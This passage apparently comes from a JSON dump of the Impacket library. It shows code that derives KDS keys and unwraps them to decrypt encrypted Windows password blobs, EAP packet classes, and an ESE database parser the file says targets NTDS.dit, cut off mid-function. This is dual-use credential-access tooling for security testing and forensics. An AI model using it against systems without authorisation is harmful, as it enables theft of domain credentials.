key_len_enc = long_to_bytes(key_len * num_keys * 8, 4)\n    output_len = key_len * num_keys\n\n    i = 1\n    dk = b\"\"\n    while len(dk) < output_len:\n        info = long_to_bytes(i, 4) + label + b'\\x00' + context + key_len_enc\n        dk += prf(master, info)\n        i += 1\n        if i > 0xFFFFFFFF:\n            raise ValueError(\"Overflow in SP800 108 counter\")\n\n    if num_keys == 1:\n        return dk[:key_len]\n    else:\n        kol = [dk[idx:idx + key_len]\n               for idx in iter_range(0, output_len, key_len)]\n        return kol\n\nclass KeyIdentifier(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('Magic', '<L=0'),\n        ('Flags', '<L=0'),\n        ('L0Index', '<L=0'),\n        ('L1Index', '<L=0'),\n        ('L2Index', '<L=0'),\n        ('RootKeyId', '16s=b'),\n        ('UnknownLength', '<L=0'),\n        ('DomainLength', '<L=0'),\n        ('ForestLength', '<L=0'),\n        ('_Unknown','_-Unknown', 'self[\"UnknownLength\"]'),\n        ('Unknown',':'),\n        ('_Domain','_-Domain', 'self[\"DomainLength\"]'),\n        ('Domain',':'),\n        ('_Forest','_-Forest', 'self[\"ForestLength\"]'),\n        ('Forest',':'),\n    )\n\n    def dump(self):\n        print(\"[KEY IDENTIFIER]\")\n        print(\"Version:\\t\\t%s\" % (self['Version']))\n        print(\"Magic:\\t\\t%s\" % (hex(self['Magic'])))\n        print(\"Flags:\\t\\t%s\" % (self['Flags']))\n        print(\"L0Index:\\t\\t%s\" % (self['L0Index']))\n        print(\"L1Index:\\t\\t%s\" % (self['L1Index']))\n        print(\"L2Index:\\t\\t%s\" % (self['L2Index']))\n        print(\"RootKeyId:\\t\\t%s\" % (self['RootKeyId']))\n        print(\"Unknown:\\t\\t%s\" % (self['Unknown']))\n        print(\"Domain:\\t\\t%s\" % (self['Domain'].decode('utf-16le')))\n        print(\"Forest:\\t\\t%s\" % (self['Forest'].decode('utf-16le')))\n        print()\n    \n    def is_public_key(self) -> bool:\n        return bool(self['Flags'] & 1)\n    \nclass EncryptedPasswordBlob(Structure):\n    structure = (\n        ('Timestamp_lower', '<L=0'),\n        ('Timestamp_upper', '<L=0'),\n        ('Length', '<L=0'),\n        ('Flags', '<L=0'),\n        ('_Blob','_-Blob', 'self[\"Length\"]'),\n        ('Blob',':')\n    )\n\n    def dump(self):\n        print(\"[ENCRYPTED PASSWORD BLOB]\")\n        print(\"Timestamp_upper:\\t\\t%s\" % (self['Timestamp_upper']))\n        print(\"Timestamp_lower:\\t\\t%s\" % (self['Timestamp_lower']))\n        print(\"Update Timestamp:\\t\\t%s\" % ((int(self['Timestamp_upper']) << 32) | self['Timestamp_lower']))\n        print(\"Length:\\t\\t%s\" % (self['Length']))\n        print(\"Flags:\\t\\t%s\" % (self['Flags']))\n        print(\"Blob:\\t\\t%s\" % (self['Blob']))\n        print()\n\ndef int_to_u32be(n: int) -> bytes:\n    return n.to_bytes(length=4, byteorder=\"big\")\n\ndef create_ace(sid, mask):\n    nace = ACE()\n    nace['AceType'] = ACCESS_ALLOWED_ACE.ACE_TYPE\n    nace['AceFlags'] = 0x00\n    acedata = ACCESS_ALLOWED_ACE()\n    acedata['Mask'] = ACCESS_MASK()\n    acedata['Mask']['Mask'] = mask\n    acedata['Sid'] = LDAP_SID()\n    acedata['Sid'].fromCanonical(sid)\n    nace['Ace'] = acedata\n    return nace\n\ndef create_sd(sid):\n    sd = SR_SECURITY_DESCRIPTOR()\n    sd['Revision'] = b'\\x01'\n    sd['Sbz1'] = b'\\x00'\n    sd['Control'] = 32772\n    sd['OwnerSid'] = LDAP_SID()\n    sd['OwnerSid'].fromCanonical('S-1-5-18')\n    sd['GroupSid'] = LDAP_SID()\n    sd['GroupSid'].fromCanonical('S-1-5-18')\n    sd['Sacl'] = b''\n\n    acl = ACL()\n    acl['AclRevision'] = 2\n    acl['Sbz1'] = 0\n    acl['Sbz2'] = 0\n    acl.aces = []\n    acl.aces.append(create_ace(sid, 3))\n    acl.aces.append(create_ace('S-1-1-0',2))\n    sd['Dacl'] = acl\n    return sd\n\ndef compute_kdf_hash(length, key_material, otherinfo):\n    output = [b\"\"]\n    outlen = 0\n    counter = 1\n\n    while length > outlen:\n        hash_module = SHA256.SHA256Hash()\n        hash_module.update(data = int_to_u32be(counter))\n        hash_module.update(key_material)\n        hash_module.update(otherinfo)\n        output.append(hash_module.digest())\n        outlen += len(output[-1])\n        counter += 1\n\n    return b\"\".join(output)[:length]\n\ndef compute_kdf_context(key_guid, l0, l1, l2):\n    return b\"\".join(\n            [\n                key_guid,\n                l0.to_bytes(4, byteorder=\"little\", signed=True),\n                l1.to_bytes(4, byteorder=\"little\", signed=True),\n                l2.to_bytes(4, byteorder=\"little\", signed=True),\n            ]\n        )\n\ndef kdf(hash_alg_str, secret, label, context, length):\n    hash_alg = SHA512\n    if 'SHA512' in hash_alg_str:\n        hash_alg = SHA512\n    elif 'SHA256' in hash_alg_str:\n        hash_alg = SHA256\n\n    def prf(s,x):\n        return HMAC.new(s,x,hash_alg).digest()\n\n    return SP800_108_Counter(\n        master=secret,\n        prf=prf,\n        key_len=length,\n        label=label,\n        context=context\n    )\n\ndef compute_l2_key(key_id: KeyIdentifier, gke: GroupKeyEnvelope):\n    l1 = gke[\"L1Index\"]\n    l1_key = gke[\"L1Key\"]\n    l2 = gke[\"L2Index\"]\n    l2_key = gke[\"L2Key\"]\n\n    reseed_l2 = l2 == 31 or l1 != key_id[\"L1Index\"]\n\n    kdf_param = gke[\"KdfPara\"][\"HashName\"].decode('utf-16le')\n\n    if l2 != 31 and l1 != key_id[\"L1Index\"]:\n        l1 -= 1\n\n    while l1 != key_id[\"L1Index\"]:\n        reseed_l2 = True\n        l1 -= 1\n\n        l1_key = kdf(\n            kdf_param,\n            l1_key,\n            KDS_SERVICE_LABEL,\n            compute_kdf_context(\n                gke[\"RootKeyId\"],\n                gke[\"L0Index\"],\n                l1,\n                -1\n            ),\n            64\n        )\n    \n    if reseed_l2:\n        l2 = 31\n        l2_key = kdf(\n            kdf_param,\n            l1_key,\n            KDS_SERVICE_LABEL,\n            compute_kdf_context(\n                gke[\"RootKeyId\"],\n                gke[\"L0Index\"],\n                l1,\n                l2,\n            ),\n            64,\n        )\n    \n    while l2 != key_id[\"L2Index\"]:\n        l2 -= 1\n\n        l2_key = kdf(\n            kdf_param,\n            l2_key,\n            KDS_SERVICE_LABEL,\n            compute_kdf_context(\n                gke[\"RootKeyId\"],\n                gke[\"L0Index\"],\n                l1,\n                l2,\n            ),\n            64,\n        )\n\n    return l2_key\n\ndef generate_kek_secret_from_pubkey(gke: GroupKeyEnvelope, key_id: KeyIdentifier,l2_key: bytes):\n    private_key = kdf(\n        gke[\"KdfPara\"][\"HashName\"].decode('utf-16le'),\n        l2_key,\n        KDS_SERVICE_LABEL,\n        gke['SecAlgo'],\n        math.ceil(gke[\"PrivKeyLength\"] / 8),\n    )\n    if gke['SecAlgo'].decode('utf-16le').encode() == b\"DH\\0\":\n        ffcdh_key = FFCDHKey(key_id[\"Unknown\"])\n        shared_secret_int = pow(\n            int.from_bytes(ffcdh_key['PubKey'], byteorder=\"big\"),\n            int.from_bytes(private_key, byteorder=\"big\"),\n            int.from_bytes(ffcdh_key['FieldOrder'], byteorder=\"big\"),\n        )\n        shared_secret = shared_secret_int.to_bytes((shared_secret_int.bit_length() + 7) // 8, byteorder=\"big\")\n    elif \"ECDH_P\" in gke['SecAlgo'].decode('utf-16le'):\n        ecdh_key = ECDHKey(key_id[\"Unknown\"])\n        # not yet supported\n        return\n    kek_context = \"KDS public key\\0\".encode(\"utf-16le\")\n    otherinfo = \"SHA512\\0\".encode(\"utf-16le\") + kek_context + KDS_SERVICE_LABEL\n    return compute_kdf_hash(length=32, otherinfo=otherinfo, key_material=shared_secret), kek_context\n    \ndef compute_kek(gke: GroupKeyEnvelope, key_id: KeyIdentifier):\n    kek_context = None\n    kek_secret = None\n\n    l2_key = compute_l2_key(key_id, gke)\n\n    if key_id.is_public_key():\n        kek_secret, kek_context = generate_kek_secret_from_pubkey(gke=gke, key_id=key_id, l2_key=l2_key)\n    else:\n        kek_secret = l2_key\n        kek_context = key_id[\"Unknown\"]\n        \n    return kdf(\n        gke[\"KdfPara\"][\"HashName\"].decode('utf-16le'),\n        kek_secret,\n        KDS_SERVICE_LABEL,\n        kek_context,\n        32\n    )\n\ndef aes_unwrap(wrapping_key: bytes, wrapped_key: bytes):\n    aiv = b\"\\xa6\\xa6\\xa6\\xa6\\xa6\\xa6\\xa6\\xa6\"\n    r = [wrapped_key[i : i + 8] for i in range(0, len(wrapped_key), 8)]\n    a = r.pop(0)\n    decryptor = AES.new(wrapping_key, AES.MODE_ECB)\n    n = len(r)\n    for j in reversed(range(6)):\n        for i in reversed(range(n)):\n            atr = (\n                int.from_bytes(a, byteorder=\"big\") ^ ((n * j) + i + 1)\n            ).to_bytes(length=8, byteorder=\"big\") + r[i]\n            # every decryption operation is a discrete 16 byte chunk so\n            # it is safe to reuse the decryptor for the entire operation\n            b = decryptor.decrypt(atr)\n            # b = decryptor.update(atr)\n            a = b[:8]\n            r[i] = b[-8:]\n    if a == aiv:\n        return b\"\".join(r)\n    else:\n        return None\n\ndef unwrap_cek(kek, encrypted_cek):\n    r = aes_unwrap(kek, encrypted_cek)\n    if r is None:\n        raise ValueError(\"Could not unwrap key\")\n    return r\n\ndef decrypt_plaintext(cek, iv, encrypted_blob):\n    cipher = AES.new(cek, AES.MODE_GCM, nonce=iv)\n    return cipher.decrypt(encrypted_blob)"
  },
  {
    "path": "impacket/eap.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   EAP packets\n#\n# Author:\n#   Aureliano Calvo\n#\n\nfrom impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian\n\nDOT1X_AUTHENTICATION = 0x888E\n\nclass EAPExpanded(ProtocolPacket):\n    \"\"\"EAP expanded data according to RFC 3748, section 5.7\"\"\"\n    \n    WFA_SMI = 0x00372a\n    SIMPLE_CONFIG = 0x00000001\n\n    header_size = 7\n    tail_size = 0\n    \n    vendor_id = ThreeBytesBigEndian(0)\n    vendor_type = Long(3, \">\")\n\nclass EAPR(ProtocolPacket):\n    \"\"\"It represents a request or a response in EAP (codes 1 and 2)\"\"\"\n    \n    IDENTITY = 0x01\n    EXPANDED = 0xfe\n\n    header_size = 1\n    tail_size = 0\n    \n    type = Byte(0)            \n\nclass EAP(ProtocolPacket):\n    REQUEST = 0x01\n    RESPONSE = 0x02\n    SUCCESS = 0x03\n    FAILURE = 0x04 \n\n    header_size = 4\n    tail_size = 0\n\n    code = Byte(0)\n    identifier = Byte(1)\n    length = Word(2, \">\")        \n\nclass EAPOL(ProtocolPacket):\n    EAP_PACKET = 0x00\n    EAPOL_START = 0x01\n    EAPOL_LOGOFF = 0x02\n    EAPOL_KEY = 0x03\n    EAPOL_ENCAPSULATED_ASF_ALERT = 0x04\n    \n    DOT1X_VERSION = 0x01\n\n    header_size = 4\n    tail_size = 0\n    \n    version = Byte(0)\n    packet_type = Byte(1)\n    body_length = Word(2, \">\")\n"
  },
  {
    "path": "impacket/ese.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Microsoft Extensive Storage Engine parser, just focused on trying\n#   to parse NTDS.dit files (not meant as a full parser, although it might work)\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   Structure\n# \n#   Excellent reference done by Joachim Metz\n#   - http://forensic-proof.com/wp-content/uploads/2011/07/Extensible-Storage-Engine-ESE-Database-File-EDB-format.pdf\n#\n# ToDo: \n#   [ ] Parse multi-values properly\n#   [ ] Support long values properly\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket import LOG\nfrom collections import OrderedDict\nfrom impacket.structure import Structure, hexdump\nfrom struct import unpack\nfrom binascii import hexlify\nfrom six import b\n\n# Constants\n\nFILE_TYPE_DATABASE       = 0\nFILE_TYPE_STREAMING_FILE = 1\n\n# Database state\nJET_dbstateJustCreated    = 1\nJET_dbstateDirtyShutdown  = 2\nJET_dbstateCleanShutdown  = 3\nJET_dbstateBeingConverted = 4\nJET_dbstateForceDetach    = 5\n\n# Page Flags\nFLAGS_ROOT         = 1\nFLAGS_LEAF         = 2\nFLAGS_PARENT       = 4\nFLAGS_EMPTY        = 8\nFLAGS_SPACE_TREE   = 0x20\nFLAGS_INDEX        = 0x40\nFLAGS_LONG_VALUE   = 0x80\nFLAGS_NEW_FORMAT   = 0x2000\nFLAGS_NEW_CHECKSUM = 0x2000\n\n# Tag Flags\nTAG_UNKNOWN = 0x1\nTAG_DEFUNCT = 0x2\nTAG_COMMON  = 0x4\n\n# Fixed Page Numbers\nDATABASE_PAGE_NUMBER           = 1\nCATALOG_PAGE_NUMBER            = 4\nCATALOG_BACKUP_PAGE_NUMBER     = 24\n\n# Fixed FatherDataPages\nDATABASE_FDP         = 1\nCATALOG_FDP          = 2\nCATALOG_BACKUP_FDP   = 3\n\n# Catalog Types\nCATALOG_TYPE_TABLE        = 1\nCATALOG_TYPE_COLUMN       = 2\nCATALOG_TYPE_INDEX        = 3\nCATALOG_TYPE_LONG_VALUE   = 4\nCATALOG_TYPE_CALLBACK     = 5\n\n# Column Types\nJET_coltypNil          = 0\nJET_coltypBit          = 1\nJET_coltypUnsignedByte = 2\nJET_coltypShort        = 3\nJET_coltypLong         = 4\nJET_coltypCurrency     = 5\nJET_coltypIEEESingle   = 6\nJET_coltypIEEEDouble   = 7\nJET_coltypDateTime     = 8\nJET_coltypBinary       = 9\nJET_coltypText         = 10\nJET_coltypLongBinary   = 11\nJET_coltypLongText     = 12\nJET_coltypSLV          = 13\nJET_coltypUnsignedLong = 14\nJET_coltypLongLong     = 15\nJET_coltypGUID         = 16\nJET_coltypUnsignedShort= 17\nJET_coltypMax          = 18\n\nColumnTypeToName = {\n    JET_coltypNil          : 'NULL',\n    JET_coltypBit          : 'Boolean',\n    JET_coltypUnsignedByte : 'Signed byte',\n    JET_coltypShort        : 'Signed short',\n    JET_coltypLong         : 'Signed long',\n    JET_coltypCurrency     : 'Currency',\n    JET_coltypIEEESingle   : 'Single precision FP',\n    JET_coltypIEEEDouble   : 'Double precision FP',\n    JET_coltypDateTime     : 'DateTime',\n    JET_coltypBinary       : 'Binary',\n    JET_coltypText         : 'Text',\n    JET_coltypLongBinary   : 'Long Binary',\n    JET_coltypLongText     : 'Long Text',\n    JET_coltypSLV          : 'Obsolete',\n    JET_coltypUnsignedLong : 'Unsigned long',\n    JET_coltypLongLong     : 'Long long',\n    JET_coltypGUID         : 'GUID',\n    JET_coltypUnsignedShort: 'Unsigned short',\n    JET_coltypMax          : 'Max',\n}\n\nColumnTypeSize = {\n    JET_coltypNil          : None,\n    JET_coltypBit          : (1,'B'),\n    JET_coltypUnsignedByte : (1,'B'),\n    JET_coltypShort        : (2,'<h'),\n    JET_coltypLong         : (4,'<l'),\n    JET_coltypCurrency     : (8,'<Q'),\n    JET_coltypIEEESingle   : (4,'<f'),\n    JET_coltypIEEEDouble   : (8,'<d'),\n    JET_coltypDateTime     : (8,'<Q'),\n    JET_coltypBinary       : None,\n    JET_coltypText         : None, \n    JET_coltypLongBinary   : None,\n    JET_coltypLongText     : None,\n    JET_coltypSLV          : None,\n    JET_coltypUnsignedLong : (4,'<L'),\n    JET_coltypLongLong     : (8,'<Q'),\n    JET_coltypGUID         : (16,'16s'),\n    JET_coltypUnsignedShort: (2,'<H'),\n    JET_coltypMax          : None,\n}\n\n# Tagged Data Type Flags\nTAGGED_DATA_TYPE_VARIABLE_SIZE = 1\nTAGGED_DATA_TYPE_COMPRESSED    = 2\nTAGGED_DATA_TYPE_STORED        = 4\nTAGGED_DATA_TYPE_MULTI_VALUE   = 8\nTAGGED_DATA_TYPE_WHO_KNOWS     = 10\n\n# Code pages\nCODEPAGE_UNICODE = 1200\nCODEPAGE_ASCII   = 20127\nCODEPAGE_WESTERN = 1252\n\nStringCodePages = {\n    CODEPAGE_UNICODE : 'utf-16le', \n    CODEPAGE_ASCII   : 'ascii',\n    CODEPAGE_WESTERN : 'cp1252',\n}\n\n# Structures\n\nTABLE_CURSOR = {\n    'TableData' : b'',\n    'FatherDataPageNumber': 0,\n    'CurrentPageData' : b'',\n    'CurrentTag' : 0,\n}\n\nclass ESENT_JET_SIGNATURE(Structure):\n    structure = (\n        ('Random','<L=0'),\n        ('CreationTime','<Q=0'),\n        ('NetBiosName','16s=b\"\"'),\n    )\n\nclass ESENT_DB_HEADER(Structure):\n    structure = (\n        ('CheckSum','<L=0'),\n        ('Signature','\"\\xef\\xcd\\xab\\x89'),\n        ('Version','<L=0'),\n        ('FileType','<L=0'),\n        ('DBTime','<Q=0'),\n        ('DBSignature',':',ESENT_JET_SIGNATURE),\n        ('DBState','<L=0'),\n        ('ConsistentPosition','<Q=0'),\n        ('ConsistentTime','<Q=0'),\n        ('AttachTime','<Q=0'),\n        ('AttachPosition','<Q=0'),\n        ('DetachTime','<Q=0'),\n        ('DetachPosition','<Q=0'),\n        ('LogSignature',':',ESENT_JET_SIGNATURE),\n        ('Unknown','<L=0'),\n        ('PreviousBackup','24s=b\"\"'),\n        ('PreviousIncBackup','24s=b\"\"'),\n        ('CurrentFullBackup','24s=b\"\"'),\n        ('ShadowingDisables','<L=0'),\n        ('LastObjectID','<L=0'),\n        ('WindowsMajorVersion','<L=0'),\n        ('WindowsMinorVersion','<L=0'),\n        ('WindowsBuildNumber','<L=0'),\n        ('WindowsServicePackNumber','<L=0'),\n        ('FileFormatRevision','<L=0'),\n        ('PageSize','<L=0'),\n        ('RepairCount','<L=0'),\n        ('RepairTime','<Q=0'),\n        ('Unknown2','28s=b\"\"'),\n        ('ScrubTime','<Q=0'),\n        ('RequiredLog','<Q=0'),\n        ('UpgradeExchangeFormat','<L=0'),\n        ('UpgradeFreePages','<L=0'),\n        ('UpgradeSpaceMapPages','<L=0'),\n        ('CurrentShadowBackup','24s=b\"\"'),\n        ('CreationFileFormatVersion','<L=0'),\n        ('CreationFileFormatRevision','<L=0'),\n        ('Unknown3','16s=b\"\"'),\n        ('OldRepairCount','<L=0'),\n        ('ECCCount','<L=0'),\n        ('LastECCTime','<Q=0'),\n        ('OldECCFixSuccessCount','<L=0'),\n        ('ECCFixErrorCount','<L=0'),\n        ('LastECCFixErrorTime','<Q=0'),\n        ('OldECCFixErrorCount','<L=0'),\n        ('BadCheckSumErrorCount','<L=0'),\n        ('LastBadCheckSumTime','<Q=0'),\n        ('OldCheckSumErrorCount','<L=0'),\n        ('CommittedLog','<L=0'),\n        ('PreviousShadowCopy','24s=b\"\"'),\n        ('PreviousDifferentialBackup','24s=b\"\"'),\n        ('Unknown4','40s=b\"\"'),\n        ('NLSMajorVersion','<L=0'),\n        ('NLSMinorVersion','<L=0'),\n        ('Unknown5','148s=b\"\"'),\n        ('UnknownFlags','<L=0'),\n    )\n\nclass ESENT_PAGE_HEADER(Structure):\n    structure_2003_SP0 = (\n        ('CheckSum','<L=0'),\n        ('PageNumber','<L=0'),\n    )\n    structure_0x620_0x0b = (\n        ('CheckSum','<L=0'),\n        ('ECCCheckSum','<L=0'),\n    )\n    structure_win7 = (\n        ('CheckSum','<Q=0'),\n    )\n    common = (\n        ('LastModificationTime','<Q=0'),\n        ('PreviousPageNumber','<L=0'),\n        ('NextPageNumber','<L=0'),\n        ('FatherDataPage','<L=0'),\n        ('AvailableDataSize','<H=0'),\n        ('AvailableUncommittedDataSize','<H=0'),\n        ('FirstAvailableDataOffset','<H=0'),\n        ('FirstAvailablePageTag','<H=0'),\n        ('PageFlags','<L=0'),\n    )\n    extended_win7 = (\n        ('ExtendedCheckSum1','<Q=0'),\n        ('ExtendedCheckSum2','<Q=0'),\n        ('ExtendedCheckSum3','<Q=0'),\n        ('PageNumber','<Q=0'),\n        ('Unknown','<Q=0'),\n    )\n    def __init__(self, version, revision, pageSize=8192, data=None):\n        if (version < 0x620) or (version == 0x620 and revision < 0x0b):\n            # For sure the old format\n            self.structure = self.structure_2003_SP0 + self.common\n        elif version == 0x620 and revision < 0x11:\n            # Exchange 2003 SP1 and Windows Vista and later\n            self.structure = self.structure_0x620_0x0b + self.common\n        else:\n            # Windows 7 and later\n            self.structure = self.structure_win7 + self.common\n            if pageSize > 8192:\n                self.structure += self.extended_win7\n\n        Structure.__init__(self,data)\n\nclass ESENT_ROOT_HEADER(Structure):\n    structure = (\n        ('InitialNumberOfPages','<L=0'),\n        ('ParentFatherDataPage','<L=0'),\n        ('ExtentSpace','<L=0'),\n        ('SpaceTreePageNumber','<L=0'),\n    )\n\nclass ESENT_BRANCH_HEADER(Structure):\n    structure = (\n        ('CommonPageKey',':'),\n    )\n\nclass ESENT_BRANCH_ENTRY(Structure):\n    common = (\n        ('CommonPageKeySize','<H=0'),\n    )\n    structure = (\n        ('LocalPageKeySize','<H=0'),\n        ('_LocalPageKey','_-LocalPageKey','self[\"LocalPageKeySize\"]'),\n        ('LocalPageKey',':'),\n        ('ChildPageNumber','<L=0'),\n    )\n    def __init__(self, flags, data=None):\n        if flags & TAG_COMMON > 0:\n            # Include the common header\n            self.structure = self.common + self.structure\n        Structure.__init__(self,data)\n\nclass ESENT_LEAF_HEADER(Structure):\n    structure = (\n        ('CommonPageKey',':'),\n    )\n\nclass ESENT_LEAF_ENTRY(Structure):\n    common = (\n        ('CommonPageKeySize','<H=0'),\n    )\n    structure = (\n        ('LocalPageKeySize','<H=0'),\n        ('_LocalPageKey','_-LocalPageKey','self[\"LocalPageKeySize\"]'),\n        ('LocalPageKey',':'),\n        ('EntryData',':'),\n    )\n    def __init__(self, flags, data=None):\n        if flags & TAG_COMMON > 0:\n            # Include the common header\n            self.structure = self.common + self.structure\n        Structure.__init__(self,data)\n\nclass ESENT_SPACE_TREE_HEADER(Structure):\n    structure = (\n        ('Unknown','<Q=0'),\n    )\n\nclass ESENT_SPACE_TREE_ENTRY(Structure):\n    structure = (\n        ('PageKeySize','<H=0'),\n        ('LastPageNumber','<L=0'),\n        ('NumberOfPages','<L=0'),\n    )\n\nclass ESENT_INDEX_ENTRY(Structure):\n    structure = (\n        ('RecordPageKey',':'),\n    )\n\nclass ESENT_DATA_DEFINITION_HEADER(Structure):\n    structure = (\n        ('LastFixedSize','<B=0'),\n        ('LastVariableDataType','<B=0'),\n        ('VariableSizeOffset','<H=0'),\n    )\n\nclass ESENT_CATALOG_DATA_DEFINITION_ENTRY(Structure):\n    fixed = (\n        ('FatherDataPageID','<L=0'),\n        ('Type','<H=0'),\n        ('Identifier','<L=0'),\n    )\n\n    column_stuff = (\n        ('ColumnType','<L=0'),\n        ('SpaceUsage','<L=0'),\n        ('ColumnFlags','<L=0'),\n        ('CodePage','<L=0'),\n    )\n\n    other = (\n        ('FatherDataPageNumber','<L=0'),\n    )\n\n    table_stuff = (\n        ('SpaceUsage','<L=0'),\n#        ('TableFlags','<L=0'),\n#        ('InitialNumberOfPages','<L=0'),\n    )\n\n    index_stuff = (\n        ('SpaceUsage','<L=0'),\n        ('IndexFlags','<L=0'),\n        ('Locale','<L=0'),\n    )\n\n    lv_stuff = (\n        ('SpaceUsage','<L=0'),\n#        ('LVFlags','<L=0'),\n#        ('InitialNumberOfPages','<L=0'),\n    )\n    common = (\n#        ('RootFlag','<B=0'),\n#        ('RecordOffset','<H=0'),\n#        ('LCMapFlags','<L=0'),\n#        ('KeyMost','<H=0'),\n        ('Trailing',':'),\n    )\n\n    def __init__(self,data):\n        # Depending on the type of data we'll end up building a different struct\n        dataType = unpack('<H', data[4:][:2])[0]\n        self.structure = self.fixed\n\n        if dataType == CATALOG_TYPE_TABLE:\n            self.structure += self.other + self.table_stuff\n        elif dataType == CATALOG_TYPE_COLUMN:\n            self.structure += self.column_stuff\n        elif dataType == CATALOG_TYPE_INDEX:\n            self.structure += self.other + self.index_stuff\n        elif dataType == CATALOG_TYPE_LONG_VALUE:\n            self.structure += self.other + self.lv_stuff\n        elif dataType == CATALOG_TYPE_CALLBACK:\n            raise Exception('CallBack types not supported!')\n        else:\n            LOG.error('Unknown catalog type 0x%x' % dataType)\n            self.structure = ()\n            Structure.__init__(self,data)\n\n        self.structure += self.common\n\n        Structure.__init__(self,data)\n\n\ndef getUnixTime(t):\n    t -= 116444736000000000\n    t //= 10000000\n    return t\n\nclass ESENT_PAGE:\n    def __init__(self, db, data=None):\n        self.__DBHeader = db\n        self.data = data\n        self.record = None\n        if data is not None:\n            self.record = ESENT_PAGE_HEADER(self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision'], self.__DBHeader['PageSize'], data)\n\n    def printFlags(self):\n        flags = self.record['PageFlags']\n        if flags & FLAGS_EMPTY:\n            print(\"\\tEmpty\")\n        if flags & FLAGS_INDEX:\n            print(\"\\tIndex\")\n        if flags & FLAGS_LEAF:\n            print(\"\\tLeaf\")\n        else:\n            print(\"\\tBranch\")\n        if flags & FLAGS_LONG_VALUE:\n            print(\"\\tLong Value\")\n        if flags & FLAGS_NEW_CHECKSUM:\n            print(\"\\tNew Checksum\")\n        if flags & FLAGS_NEW_FORMAT:\n            print(\"\\tNew Format\")\n        if flags & FLAGS_PARENT:\n            print(\"\\tParent\")\n        if flags & FLAGS_ROOT:\n            print(\"\\tRoot\")\n        if flags & FLAGS_SPACE_TREE:\n            print(\"\\tSpace Tree\")\n\n    def dump(self):\n        baseOffset = len(self.record)\n        self.record.dump()\n        tags = self.data[-4*self.record['FirstAvailablePageTag']:]\n\n        print(\"FLAGS: \")\n        self.printFlags()\n\n        print()\n\n        for i in range(self.record['FirstAvailablePageTag']):\n            tag = tags[-4:]\n            if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] > 11 and self.__DBHeader['PageSize'] > 8192:\n                valueSize = unpack('<H', tag[:2])[0] & 0x7fff\n                valueOffset = unpack('<H',tag[2:])[0] & 0x7fff\n                hexdump((self.data[baseOffset+valueOffset:][:6]))\n                pageFlags = ord(self.data[baseOffset+valueOffset:][1]) >> 5\n                #print \"TAG FLAG: 0x%x \" % (unpack('<L', self.data[baseOffset+valueOffset:][:4]) ) >> 5\n                #print \"TAG FLAG: 0x \" , ord(self.data[baseOffset+valueOffset:][0])\n            else:\n                valueSize = unpack('<H', tag[:2])[0] & 0x1fff\n                pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13\n                valueOffset = unpack('<H',tag[2:])[0] & 0x1fff\n                \n            print(\"TAG %-8d offset:0x%-6x flags:0x%-4x valueSize:0x%x\" % (i,valueOffset,pageFlags,valueSize))\n            #hexdump(self.getTag(i)[1])\n            tags = tags[:-4]\n\n        if self.record['PageFlags'] & FLAGS_ROOT > 0:\n            rootHeader = ESENT_ROOT_HEADER(self.getTag(0)[1])\n            rootHeader.dump()\n        elif self.record['PageFlags'] & FLAGS_LEAF == 0:\n            # Branch Header\n            flags, data = self.getTag(0)\n            branchHeader = ESENT_BRANCH_HEADER(data)\n            branchHeader.dump()\n        else:\n            # Leaf Header\n            flags, data = self.getTag(0)\n            if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:\n                # Space Tree\n                spaceTreeHeader = ESENT_SPACE_TREE_HEADER(data)\n                spaceTreeHeader.dump()\n            else:\n                leafHeader = ESENT_LEAF_HEADER(data)\n                leafHeader.dump()\n\n        # Print the leaf/branch tags\n        for tagNum in range(1,self.record['FirstAvailablePageTag']):\n            flags, data = self.getTag(tagNum)\n            if self.record['PageFlags'] & FLAGS_LEAF == 0:\n                # Branch page\n                branchEntry = ESENT_BRANCH_ENTRY(flags, data)\n                branchEntry.dump()\n            elif self.record['PageFlags'] & FLAGS_LEAF > 0:\n                # Leaf page\n                if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:\n                    # Space Tree\n                    spaceTreeEntry = ESENT_SPACE_TREE_ENTRY(data)\n                    #spaceTreeEntry.dump()\n\n                elif self.record['PageFlags'] & FLAGS_INDEX > 0:\n                    # Index Entry\n                    indexEntry = ESENT_INDEX_ENTRY(data)\n                    #indexEntry.dump()\n                elif self.record['PageFlags'] & FLAGS_LONG_VALUE > 0:\n                    # Long Page Value\n                    raise Exception('Long value still not supported')\n                else:\n                    # Table Value\n                    leafEntry = ESENT_LEAF_ENTRY(flags, data)\n                    dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(leafEntry['EntryData'])\n                    dataDefinitionHeader.dump()\n                    catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(leafEntry['EntryData'][len(dataDefinitionHeader):])\n                    catalogEntry.dump()\n                    hexdump(leafEntry['EntryData'])\n\n    def getTag(self, tagNum):\n        if self.record['FirstAvailablePageTag'] < tagNum:\n            raise Exception('Trying to grab an unknown tag 0x%x' % tagNum)\n\n        tags = self.data[-4*self.record['FirstAvailablePageTag']:]\n        baseOffset = len(self.record)\n        for i in range(tagNum):\n            tags = tags[:-4]\n\n        tag = tags[-4:]\n\n        if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192:\n            valueSize = unpack('<H', tag[:2])[0] & 0x7fff\n            valueOffset = unpack('<H',tag[2:])[0] & 0x7fff\n            tmpData = bytearray(self.data[baseOffset+valueOffset:][:valueSize])\n            pageFlags = tmpData[1] >> 5\n            tmpData[1] = tmpData[1:2][0] & 0x1f\n            tmpData = bytes(tmpData)\n            tagData = tmpData\n        else:\n        